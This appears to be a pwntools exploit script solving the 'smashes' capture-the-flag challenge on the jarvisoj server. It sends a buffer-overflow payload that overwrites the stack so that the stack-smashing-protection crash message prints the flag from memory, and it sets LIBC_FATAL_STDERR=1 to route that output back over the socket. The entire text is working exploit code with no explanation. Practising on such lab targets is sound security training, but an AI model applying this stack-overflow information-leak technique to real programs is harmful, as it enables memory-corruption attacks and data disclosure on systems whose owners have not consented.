#!/usr/bin/python
# -*- coding:utf8 -*-

from pwn import *

old_flag_addr = 0x600d20
new_flag_addr = 0x400d20
#Io = process('./smashes')
Io = remote('pwn.jarvisoj.com', 9877)
Io.recvuntil("name?")
payload = "a"*0x218 + p64(new_flag_addr) 
payload += p64(0) + p64(old_flag_addr)
Io.sendline(payload)
Io.recvuntil("flag: ")
env = "LIBC_FATAL_STDERR=1"
Io.sendline(env)
flag = Io.recv()
print flag
